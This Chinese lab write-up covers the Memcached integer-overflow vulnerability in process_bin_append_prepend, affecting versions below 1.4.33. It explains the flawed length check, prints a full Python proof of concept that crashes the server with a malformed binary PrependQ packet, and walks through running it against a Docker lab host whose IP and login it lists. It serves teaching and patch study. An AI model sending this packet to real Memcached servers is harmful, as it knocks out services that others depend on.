实验Memcached Server远程代码执行漏洞

Posted i春秋

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了实验Memcached Server远程代码执行漏洞相关的知识,希望对你有一定的参考价值。


Memcached 是一个高性能的分布式内存对象缓存系统,用于动态Web应用以减轻数据库负载。它通过在内存中缓存数据和对象来减少读取数据库的次数,从而提高动态、数据库驱动网站的速度。

Memcached是一个广泛使用的高速缓存系统,对方可以通过向服务器发送一个精心构造的Memcached命令实现该漏洞的利用。此外,这些漏洞还可以泄露敏感的进程信息,并且可以多次触发,利用这些敏感的进程信息,对方可以绕过像ASLR等常见的漏洞缓解机制。漏洞出现的原因是因为process_bin_append_prepend函数存在整数溢出。该函数主要负责处理memcached二进制协议的多个命令,最终可能出现滥用导致堆溢出并实现远程代码执行问题。

今天小编带大家了解Memcached Server远程代码执行漏洞原理基础知识,通过实验掌握对该漏洞的修补方法吧~

【实验】Memcached Server远程代码执行漏洞

实验环境

操作机:Windows XP

目标机:Ubuntu

目标机IP:172.16.12.2


实验目的

了解漏洞产生原理

学习漏洞攻击、防御手法 


实验内容

漏洞简介

攻击者可以通过向服务器发送一个精心构造的Memcached命令实现该漏洞的利用。此外,漏洞还可以泄露敏感的进程信息,并且可以多次触发,利用这些敏感的进程信息,攻击者可以绕过像ASLR等常见的漏洞缓解机制。

漏洞出现的原因是因为process_bin_append_prepend函数存在整数溢出。该函数主要负责处理memcached二进制协议的多个命令,最终可能出现滥用导致堆溢出并实现远程代码执行问题。


影响版本

小于1.4.33


实验步骤

步骤1:了解原理

在服务中,当执行Append (opcode 0x0e), Prepend (opcode 0x0f), AppendQ (0x19), PrependQ (opcode 0x1a)命令时会进入这样如下代码路径:

case PROTOCOL_BINARY_CMD_APPEND:case PROTOCOL_BINARY_CMD_PREPEND:  if (keylen > 0 && extlen == 0) {
   bin_read_key(c, bin_reading_set_header, 0);
 } else {
   protocol_error = 1;
 }  break;

这里并仅检查了keylen和extlen的值,并没有检查bodylen。

complete_nread_binary()后,即当从socket中读取和解析完header、extlen、key后,注意此时value还没从socket中读取,程序进入了process_bin_append_prepend()函数中,

key = binary_get_key(c);nkey = c->binary_header.request.keylen; //vlen = c->binary_header.request.bodylen - nkey;...it = item_alloc(key, nkey, 0, 0, vlen+2);

这里keylen做过合法性检查,bodylen没有,所以itme_alloc()函数中的参数中keynkey可以保证合法性,但vlen无法保证。


POC内容如下:

# -*- coding: utf-8 -*-import structimport socketimport sysMEMCACHED_REQUEST_MAGIC = "\x80"OPCODE_PREPEND_Q = "\x1a"key_len = struct.pack("!H", 0xfa)extra_len = "\x00"data_type = "\x00"vbucket = "\x00\x00"body_len = struct.pack("!I", 0)opaque = struct.pack("!I", 0)CAS = struct.pack("!Q", 0)body = "A" * 1024if len(sys.argv) != 3:    print "./poc_crash.py <server> <port>"    sys.exit(1)packet = MEMCACHED_REQUEST_MAGIC + OPCODE_PREPEND_Q + key_len + extra_lenpacket += data_type + vbucket + body_len + opaque + CASpacket += bodyset_packet = "set testkey 0 60 4\r\ntest\r\n"get_packet = "get testkey\r\n"s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s1.connect((sys.argv[1], int(sys.argv[2])))s1.sendall(set_packet)print s1.recv(1024)s1.close()s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s2.connect((sys.argv[1], int(sys.argv[2])))s2.sendall(packet)print s2.recv(1024)s2.close()s3 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s3.connect((sys.argv[1], int(sys.argv[2])))s3.sendall(get_packet)s3.recv(1024)s3.close()

步骤2:漏洞利用

我们首先使用Xshell连接目标机器,IP为172.16.12.2 ,账号密码为:ichunqiu ichunqiu(使用Everything搜索Xshell工具)

连接成功后,使用命令:xshe

【实验】Memcached Server远程代码执行漏洞

接下来启动Memcached Server服务,命令如下:

docker  images  //列出镜像docker run -d -p 11211:11211 af1336632a51 //启动容器

其中:-d是指让其在后台运行,-p代表指定端口,后面的代表镜像名称

【实验】Memcached Server远程代码执行漏洞

这时在输入命令:

docker ps  //查看容器是否运行

【实验】Memcached Server远程代码执行漏洞

如上图所示,成功运行。

接下来我们执行POC,达到命令执行的效果,令Memcached服务停止运行。

使用命令:

python2.7 poc.py 127.0.0.1 11211   //执行POCdocker ps

如上图所示,服务已经停止,验证成功。


实验结果分析与总结

本次实验我们学习了Memcached Server漏洞产生原理,并使用POC成功命令执行。


戳阅读原文,感受实验环境吧~


以上是关于实验Memcached Server远程代码执行漏洞的主要内容,如果未能解决你的问题,请参考以下文章

警惕Memcached远程代码执行漏洞(最后两张图亮了!)

逾7万台Memcached服务器仍易受远程入侵

Webmin未授权远程代码执行复现

MS-08-067 windows smb服务 远程命令执行漏洞

IIS6远程代码执行漏洞复现CVE-2017-7269

javaweb项目容器开启远程Debug